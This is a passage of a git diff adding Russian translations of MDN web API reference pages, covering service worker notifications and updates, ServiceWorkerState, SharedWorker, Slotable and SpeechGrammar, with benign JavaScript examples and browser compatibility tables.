+        // об ошибках на сервер приложения.
+        console.log(error);
+      }
+    );
+  });</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Push API', '#pushmanager-interface', 'PushManager')}}</td>
+   <td>{{Spec2('Push API')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("api.ServiceWorkerRegistration.pushManager")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Push_API">Push API</a></li>
+</ul>
diff --git a/files/ru/web/api/serviceworkerregistration/shownotification/index.html b/files/ru/web/api/serviceworkerregistration/shownotification/index.html
new file mode 100644
index 0000000000..fdcd0943fc
--- /dev/null
+++ b/files/ru/web/api/serviceworkerregistration/shownotification/index.html
@@ -0,0 +1,272 @@
+---
+title: ServiceWorkerRegistration.showNotification()
+slug: Web/API/ServiceWorkerRegistration/showNotification
+translation_of: Web/API/ServiceWorkerRegistration/showNotification
+---
+<p>{{SeeCompatTable}}{{APIRef("Service Workers API")}}</p>
+
+<p>The <code>showNotification()</code> method of the {{domxref("ServiceWorkerRegistration")}} interface creates a notification on an active service worker.</p>
+
+<div class="note">
+<p><strong>Note</strong>: This feature is available in <a href="/en-US/docs/Web/API/Web_Workers_API">Web Workers</a>.</p>
+</div>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">​ServiceWorkerRegistration.showNotification(<em>title</em>, [<em>options</em>]).then(function(<em>NotificationEvent</em>) { ... });</pre>
+
+<h3 id="Returns">Returns</h3>
+
+<p>A {{jsxref('Promise')}} that resolves to a {{domxref('NotificationEvent')}}.</p>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>title</code></dt>
+ <dd>The title that must be shown within the notification</dd>
+ <dt><code>options</code> {{optional_inline}}</dt>
+ <dd>An object that allows to configure the notification. It can have the following properties:
+ <ul>
+  <li><code>actions</code>: An array of actions to display in the notification. The members of the array should be an object literal. It may contain the following values:
+   <ul>
+    <li>action: A {{domxref("DOMString")}} identifying a user action to be displayed on the notification.</li>
+    <li>title: A {{domxref("DOMString")}} containing action text to be shown to the user.</li>
+    <li>icon: A {{domxref("USVString")}} containg the URL of an icon to display with the action.</li>
+   </ul>
+   Appropriate responses are built using <code>event.action</code> within the {{event("notificationclick")}} event.</li>
+  <li><code>badge</code>: The URL of an image to represent the notification when there is not enough space to display the notification itself such as, for example, the Android Notification Bar. On Android devices, the badge should accommodate devices up to 4x resolution, about 96 by 96 px, and the image will be automatically masked.</li>
+  <li><code>body</code>: Строка с дополнительным контентом уведомления.</li>
+  <li><code>dir</code> : The direction of the notification; it can be <code>auto</code>, <code>ltr</code>, or <code>rtl</code></li>
+  <li><code>icon</code>: URL или base64 версия картинки, которая отображается рядом с уведомлением.</li>
+  <li><code>image</code>: URL {{domxref("USVSTring")}} картинки, которая отображается внутри уведомления.</li>
+  <li><code>lang</code>: Specify the lang used within the notification. This string must be a valid <a href="http://tools.ietf.org/html/bcp47" title="http://tools.ietf.org/html/bcp47">BCP 47 language tag</a>.</li>
+  <li><code>renotify</code>: A boolean that indicates whether to supress vibrations and audible alerts when resusing a <code>tag</code> value. The default is false.</li>
+  <li><code>requireInteraction</code>: Indicates that on devices with sufficiently large screens, a notification should remain active until the user clicks or dismisses it. If this value is absent or false, the desktop version of Chrome will auto-minimize notifications after approximately twenty seconds. The default value is <code>false</code>.</li>
+  <li><code>tag</code>: An ID for a given notification that allows you to find, replace, or remove the notification using script if necessary.</li>
+  <li><code>vibrate</code>: Шаблон вибрации, которая будет воспроизведена вместе с уведомлением. Шаблон может быть массивом из как минимум одного элемента. Значения элементов это время в миллисекундах, при этом четные элементы (0, 2, 4, и т.д.) отражают периоды вибрации, а нечетные периоды пауз. Например, <code>[300, 100, 400]</code> будет означать вибрацию 300ms, паузу 100ms, затем вибрацию 400ms.</li>
+  <li><code>data</code>: Arbitrary data that you want associated with the notification. This can be of any data type.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<pre class="brush: js">navigator.serviceWorker.register('sw.js');
+
+function showNotification() {
+  Notification.requestPermission(function(result) {
+    if (result === 'granted') {
+      navigator.serviceWorker.ready.then(function(registration) {
+        registration.showNotification('Vibration Sample', {
+          body: 'Buzz! Buzz!',
+          icon: '../images/touch/chrome-touch-icon-192x192.png',
+          vibrate: [200, 100, 200, 100, 200, 100, 200],
+          tag: 'vibration-sample'
+        });
+      });
+    }
+  });
+}</pre>
+
+<p>To invoke the above function at an appropriate time, you could use the {{domxref("ServiceWorkerGlobalScope.onnotificationclick")}} event handler.</p>
+
+<p>You can also retrieve details of the {{domxref("Notification")}}s have have been fired from the current service worker using {{domxref("ServiceWorkerRegistration.getNotifications()")}}.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Notifications','#dom-serviceworkerregistration-shownotificationtitle-options','showNotification()')}}</td>
+   <td>{{Spec2('Web Notifications')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.ServiceWorkerRegistration.showNotification")}}</p>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td><code>vibrate</code> option</td>
+   <td>{{CompatChrome(45)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatOpera(32)}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>requireInteraction</code></td>
+   <td>{{CompatChrome(47)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>actions</code> option</td>
+   <td>{{CompatChrome(48)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>renotify</code> option</td>
+   <td>{{CompatChrome(50)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatOpera(37)}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>badge</code> option</td>
+   <td>{{CompatChrome(53)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatOpera(39)}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>image</code> option</td>
+   <td>{{CompatChrome(56)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>data</code> option</td>
+   <td>{{CompatChrome(44)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td><code>vibrate</code> option</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatOperaMobile(32)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(45)}}</td>
+  </tr>
+  <tr>
+   <td><code>requireInteraction</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(47)}}</td>
+  </tr>
+  <tr>
+   <td><code>actions</code> option</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(48)}}</td>
+  </tr>
+  <tr>
+   <td><code>renotify</code> option</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatOperaMobile(37)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(50)}}</td>
+  </tr>
+  <tr>
+   <td><code>badge</code> option</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatOperaMobile(39)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(53)}}</td>
+  </tr>
+  <tr>
+   <td><code>image</code> option</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(56)}}</td>
+  </tr>
+  <tr>
+   <td><code>data</code> option</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(44)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/ru/web/api/serviceworkerregistration/update/index.html b/files/ru/web/api/serviceworkerregistration/update/index.html
new file mode 100644
index 0000000000..5a2180581a
--- /dev/null
+++ b/files/ru/web/api/serviceworkerregistration/update/index.html
@@ -0,0 +1,74 @@
+---
+title: ServiceWorkerRegistration.update()
+slug: Web/API/ServiceWorkerRegistration/update
+translation_of: Web/API/ServiceWorkerRegistration/update
+---
+<div>{{SeeCompatTable}}{{APIRef("Service Workers API")}}</div>
+
+<p>Метод <code><strong>update</strong></code> интерфейса {{domxref("ServiceWorkerRegistration")}} предназначен для обновления service worker. Он обращаетя по URL service worker-a, и если новый worker побайтно не совпадает с текущим, инсталирует новую версию. Обращение за новой версией worker обходит любые кеши браузера, если предыдущее обращение произошло более 24 часов назад..</p>
+
+<div class="note">
+<p><strong>Заметка</strong>: Эта возможность доступна в <a href="/en-US/docs/Web/API/Web_Workers_API">Web Workers</a>.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax" style="line-height: 30px; font-size: 2.14285714285714rem;">Синтаксис</h2>
+
+<pre class="syntaxbox" style="font-size: 14px;">ServiceWorkerRegistration.update();</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<p>Нет.</p>
+
+<h3 id="Возвращает">Возвращает</h3>
+
+<p>{{domxref("Промис")}}, который разрешается в объект {{domxref("ServiceWorkerRegistration")}}.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<p>В следующем простом примере регистрируется service worker, а затем добавляется обработчик события клика по кнопке, так что вы можете явно обновить service worker по необходимости:</p>
+
+<pre class="brush: js">if ('serviceWorker' in navigator) {
+  navigator.serviceWorker.register('/sw-test/sw.js', {scope: 'sw-test'}).then(function(registration) {
+    // Регистрация произошла
+    console.log('Registration succeeded.');
+    button.onclick = function() {
+      registration.update();
+    }
+  }).catch(function(error) {
+    // Ошибка при регистрации
+    console.log('Registration failed with ' + error);
+  });
+};</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#service-worker-registration-update-method', 'ServiceWorkerRegistration.update()')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Первоначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div class="hidden">Таблица совместимости на этой странице сгенерирована автоматически. Если вы хотите внести свой вклад в таблицу данных совместимости, пожалуйста обратитесь по адресу <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и сделайте pull request.</div>
+
+<p>{{Compat("api.ServiceWorkerRegistration.update")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/ServiceWorker_API/Using_Service_Workers">Использование Service Workers</a></li>
+ <li><a href="https://github.com/mdn/sw-test">Service workers базовый пример кода</a> </li>
+ <li><a href="https://jakearchibald.github.io/isserviceworkerready/">Готов ли ServiceWorker?</a></li>
+ <li>{{jsxref("Промисы")}}</li>
+ <li><a href="/en-US/docs/Web/Guide/Performance/Using_web_workers">Использование web workers</a></li>
+</ul>
diff --git a/files/ru/web/api/serviceworkerstate/index.html b/files/ru/web/api/serviceworkerstate/index.html
new file mode 100644
index 0000000000..a1702d28b1
--- /dev/null
+++ b/files/ru/web/api/serviceworkerstate/index.html
@@ -0,0 +1,46 @@
+---
+title: ServiceWorkerState
+slug: Web/API/ServiceWorkerState
+translation_of: Web/API/ServiceWorkerState
+---
+<div>{{APIRef("Service Workers API")}}</div>
+
+<p><code><strong>ServiceWorkerState</strong></code> показывает состояние {{DOMxRef("ServiceWorker")}}'а.</p>
+
+<h2 id="Значения">Значения</h2>
+
+<dl>
+ <dt><code>installing</code></dt>
+ <dd>Service worker устанавливается. В этом состоянии, метод {{DOMxRef("ExtendableEvent.waitUntil()")}} может быть вызван в обработчике события <code>install</code> для продления установки до успешного завершения переданного промиса. Как правило, данный метод используется для того, чтобы избежать активации service worker'а до завершения настройки его кеша.</dd>
+ <dt><code>installed</code></dt>
+ <dd>Service worker находится в состоянии ожидания и будет активирован после закрытия всех страниц его источника, использующих предыдущую версию service worker'а.</dd>
+ <dt><code>activating</code></dt>
+ <dd>Service worker в данном состоянии считается активным. В этом состоянии, метод {{DOMxRef("ExtendableEvent.waitUntil()")}} может быть вызван в обработчике события <code>onactivate</code> для продления этапа активации до успешного завершения переданного промиса. Service worker не начнет обрабатывать события до перехода в состояние <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">activated</span></font>.</dd>
+ <dt><code>activated</code></dt>
+ <dd>Service worker в данном состоянии активен и готов обрабатывать события.</dd>
+ <dt><code>redundant</code></dt>
+ <dd>Новый service worker заменяет данный либо service worker удаляется из-за ошибки при его установке.</dd>
+</dl>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("Service Workers", "#service-worker-state-enum", "ServiceWorkerState")}}</td>
+   <td>{{Spec2("Service Workers")}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{DOMxRef("ServiceWorker.state")}}</li>
+</ul>
diff --git a/files/ru/web/api/sharedworker/index.html b/files/ru/web/api/sharedworker/index.html
new file mode 100644
index 0000000000..e19a8c7181
--- /dev/null
+++ b/files/ru/web/api/sharedworker/index.html
@@ -0,0 +1,220 @@
+---
+title: SharedWorker
+slug: Web/API/SharedWorker
+translation_of: Web/API/SharedWorker
+---
+<div>{{APIRef("Web Workers API")}}</div>
+
+<p><code><font face="Open Sans, arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">Интерфейс </span></font><strong>SharedWorker </strong>(разделяемый воркер)</code> является особым видом воркеров к которому можно получить доступ из нескольких контекстов браузера, например, из нескольких окон, iframe, или других воркеров. Этот интерфейс реализован иначе, чем dedicated воркеры и имеют иной глобальный контекст, {{domxref("SharedWorkerGlobalScope")}}.</p>
+
+<div class="note">
+<p><strong>Замечание:</strong> Если SharedWorker может быть доступен из нескольких контекстов браузера, все они должны разделять одинаковое расположение (идентичные протокол, хост и порт).</p>
+</div>
+
+<div class="note">
+<p><strong>Замечание</strong>: В Firefox, разделяемые воркеры не могут взаимодействовать между private (например, просматриваемыми в приватном режиме) и non-private документами (см. {{bug(1177621)}}.)</p>
+</div>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Наследует свойства родителя, {{domxref("EventTarget")}}, и реализует свойства {{domxref("AbstractWorker")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("AbstractWorker.onerror")}}</dt>
+ <dd>{{domxref("EventListener")}} который вызывается всегда, когда {{domxref("ErrorEvent")}} типа <code>error</code> всплывает через воркер.</dd>
+ <dt>{{domxref("SharedWorker.port")}} {{readonlyInline}}</dt>
+ <dd>Возвращает объект {{domxref("MessagePort")}}, используемый для коммуникации и контроля разделяемого воркера.</dd>
+</dl>
+
+<h2 id="Constructors">Constructors</h2>
+
+<dl>
+ <dt>{{domxref("SharedWorker.SharedWorker", "SharedWorker()")}}</dt>
+ <dd>Создает разделяемый веб воркер, который выполняет скрипт по указанному URL.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>Наследует методы родительского класса, {{domxref("EventTarget")}}, и реализует свойства {{domxref("AbstractWorker")}}.</em></p>
+
+<h2 id="Пример">Пример</h2>
+
+<p>В нашем <a class="external external-icon" href="https://github.com/mdn/simple-shared-worker">Базовом примере разделяемого воркера</a> (<a class="external external-icon" href="http://mdn.github.io/simple-shared-worker/">запустить</a>), имеются две HTML страницы, каждая из которых использует JavaScript для простых вычислений. Разные скрипты используют один и тот же воркер, чтобы выполнить умножение двух чисел - они оба имеют доступ к нему, даже если их страницы запущены в разных окнах.</p>
+
+<p>Следующий пример кода демонстрирует создание объекта <code>SharedWorker</code> с использованием конструктора {{domxref("SharedWorker.SharedWorker", "SharedWorker()")}}. Оба скрипта содержат:</p>
+
+<pre class="brush: js">var myWorker = new SharedWorker("worker.js");
+</pre>
+
+<p>далее скрипты получают доступ к воркеру через объект {{domxref("MessagePort")}}, находящийся в свойстве {{domxref("SharedWorker.port")}}. Если устанавливается хэндлер события onmessage, port самостоятельно начинает работу, вызывая собственный метод <code>start(), </code>если же принимать события с помощью слушателя события  "message" через addEventListener, необходимо вызвать метод <code>start()</code> самостоятельно:</p>
+
+<pre class="brush: js">myWorker.port.start();</pre>
+
+<p>После того, как порт запущен, оба скрипта отправляют сообщения воркеру и принимают их от него, используя <code>port.postMessage()</code> и <code>port.onmessage</code>, соответственно:</p>
+
+<pre class="brush: js">first.onchange = function() {
+    myWorker.port.postMessage([first.value,second.value]);
+    console.log('Message posted to worker');
+  }
+
+  second.onchange = function() {
+    myWorker.port.postMessage([first.value,second.value]);
+    console.log('Message posted to worker');
+  }
+
+  myWorker.port.onmessage = function(e) {
+    result1.textContent = e.data;
+    console.log('Message received from worker');
+  }</pre>
+
+<p>Внутри воркера используется хэндлер {{domxref("SharedWorkerGlobalScope.onconnect")}} для соединения к тому же порту, как обсуждалось ранее. Порты, связанные с данным воркером доступны в свойстве ports события {{event("connect")}}. Далее вызывается метод {{domxref("MessagePort")}} <code>start()</code> для запуска порта, и устанавливается хэндлер <code>onmessage</code> для обработки сообщений, присылаемых от обоих потоков.</p>
+
+<pre class="brush: js">onconnect = function(e) {
+    var port = e.ports[0];
+    // or port = e.source
+
+    port.addEventListener('message', function(e) {
+      var workerResult = 'Result: ' + (e.data[0] * e.data[1]);
+      port.postMessage(workerResult);
+    });
+
+    port.start(); // обязательно при использовании addEventListener. Иначе вызывается неявно после установки хэндлера onmessage.
+}</pre>
+
+<h3 id="Пример_с_несколькими_страницами">Пример с несколькими страницами</h3>
+
+<h4 id="sect1"> </h4>
+
+<pre><strong>test.js
+</strong>
+let connected = false;
+self.addEventListener("connect", e =&gt; {
+  e.source.addEventListener("message", ev =&gt; {
+    if (ev.data === "start") {
+      if (connected === false) {
+        e.source.postMessage('worker init');
+        connected = true;
+      } else {
+        e.source.postMessage('worker already inited');
+      }
+    }
+  }, false);
+  e.source.start();
+}, false);
+
+
+<strong>На странице 1 получаем сообщение '</strong>worker init<strong>' в консоли.
+
+index1.html
+...</strong>
+&lt;script&gt;
+    let worker = new SharedWorker('test.js');
+    worker.port.addEventListener("message", e =&gt; {
+      console.log(e.data);
+    }, false);
+    worker.port.start();
+    worker.port.postMessage("start");
+&lt;/script&gt;
+<strong>...
+
+На странице 2 в консоль выводится 'worker already inited', так как страница 1 уже запустила наш воркер;
+
+</strong>index2.html
+...
+&lt;script&gt;
+    let worker = new SharedWorker('test.js');
+    worker.port.addEventListener("message", e =&gt; {
+      console.log(e.data);
+    }, false);
+    worker.port.start();
+    worker.port.postMessage("start");
+&lt;/script&gt;
+...</pre>
+
+<p> </p>
+
+<p> </p>
+
+<p> </p>
+
+<h2 id="sect2"> </h2>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "#sharedworker", "SharedWorker")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change from {{SpecName("Web Workers")}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_браузеров">Совместимость браузеров</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Поддержка</td>
+   <td>{{CompatChrome(4)}}</td>
+   <td>{{CompatGeckoDesktop(29.0)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOpera(10.60)}}</td>
+   <td>5<br>
+    {{CompatNo}} 6.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Поддержка</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("33.0")}}</td>
+   <td>2.1</td>
+   <td>{{CompatNo}}</td>
+   <td>11.5</td>
+   <td>5.1<br>
+    {{CompatNo}} 7.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("Worker")}}</li>
+ <li><a class="internal" href="/en-US/docs/Web/Guide/Performance/Using_web_workers">Использование веб воркеров</a></li>
+</ul>
diff --git a/files/ru/web/api/slotable/index.html b/files/ru/web/api/slotable/index.html
new file mode 100644
index 0000000000..b9c4436097
--- /dev/null
+++ b/files/ru/web/api/slotable/index.html
@@ -0,0 +1,44 @@
+---
+title: Slotable
+slug: Web/API/Slotable
+tags:
+  - миксины
+translation_of: Web/API/Slottable
+---
+<p>{{APIRef("Shadow DOM")}}</p>
+
+<p>Миксин <code>Slotable</code> определяет возможности, которые позволяют нодам становиться контентом элемента {{htmlelement("slot")}} — следующие возможности включены в  {{domxref("Element")}} и {{domxref("Text")}}.</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<dl>
+ <dt>{{domxref("Slotable.assignedSlot")}} {{readonlyInline}}</dt>
+ <dd>Возвращает {{htmlelement("slot")}}, в который вставлена нода.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p>Нет.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG','#slotable','Slotable')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Первое определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+
+
+<p>{{Compat("api.Slotable")}}</p>
diff --git a/files/ru/web/api/speechgrammar/index.html b/files/ru/web/api/speechgrammar/index.html
new file mode 100644
index 0000000000..d4f5246027
--- /dev/null
+++ b/files/ru/web/api/speechgrammar/index.html
@@ -0,0 +1,74 @@
+---
+title: SpeechGrammar
+slug: Web/API/SpeechGrammar
+tags:
+  - API
+  - Интерфейс
+  - Справка
+  - Экспериментальный
+  - грамматика речи
+  - распознавание
+  - речь
+translation_of: Web/API/SpeechGrammar
+---
+<p>{{APIRef("Web Speech API")}}{{SeeCompatTable}}</p>
+
+<p>Интерфейс <strong><code>SpeechGrammar</code></strong> <a href="/ru/docs/Web/API/Web_Speech_API">Web Speech API</a> представляет собой набор слов или шаблонов слов, которые мы хотим, чтобы служба распознавания распознавала.</p>
+
+<p>Грамматика определяется с использованием <a class="external external-icon" href="http://www.w3.org/TR/jsgf/">JSpeech Grammar Format</a> (<strong>JSGF</strong>.) Другие форматы также могут поддерживаться в будущем.</p>
+
+<h2 id="Конструктор">Конструктор</h2>
+
+<dl>
+ <dt>{{domxref("SpeechGrammar.SpeechGrammar()")}}</dt>
+ <dd>Создает новый объект <code>SpeechGrammar</code> .</dd>
+</dl>
+
+<h2 id="Свойства">Свойства</h2>
+
+<dl>
+ <dt>{{domxref("SpeechGrammar.src")}}</dt>
+ <dd>Устанавливает и возвращает строку, содержащую грамматику, внутри экземпляра объекта <code>SpeechGrammar</code> .</dd>
+ <dt>{{domxref("SpeechGrammar.weight")}} {{optional_inline}}</dt>
+ <dd>Устанавливает и возвращает вес объекта <code>SpeechGrammar</code> .</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: js">var grammar = '#JSGF V1.0; grammar colors; public &lt;color&gt; = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;'
+var recognition = new SpeechRecognition();
+var speechRecognitionList = new SpeechGrammarList();
+speechRecognitionList.addFromString(grammar, 1);
+recognition.grammars = speechRecognitionList;
+
+
+console.log(speechRecognitionList[0].src); // должно вернуть то же, что и содержимое переменной gramar
+console.log(speechRecognitionList[0].weight); // должно вернуть 1 - столько же, сколько указано в 4-й строчке.
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Speech API', '#speechreco-speechgrammar', 'SpeechGrammar')}}</td>
+   <td>{{Spec2('Web Speech API')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>{{Compat("api.SpeechGrammar")}}</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/ru/docs/Web/API/Web_Speech_API">Web Speech API</a></li>
+</ul>
diff --git a/files/ru/web/api/speechrecognition/index.html b/files/ru/web/api/speechrecognition/index.html
new file mode 100644
index 0000000000..011774ea9a
--- /dev/null
+++ b/files/ru/web/api/speechrecognition/index.html
@@ -0,0 +1,221 @@
+---
+title: SpeechRecognition
+slug: Web/API/SpeechRecognition
+translation_of: Web/API/SpeechRecognition
+---
+<p>{{APIRef("Web Speech API")}}{{SeeCompatTable}}</p>
+
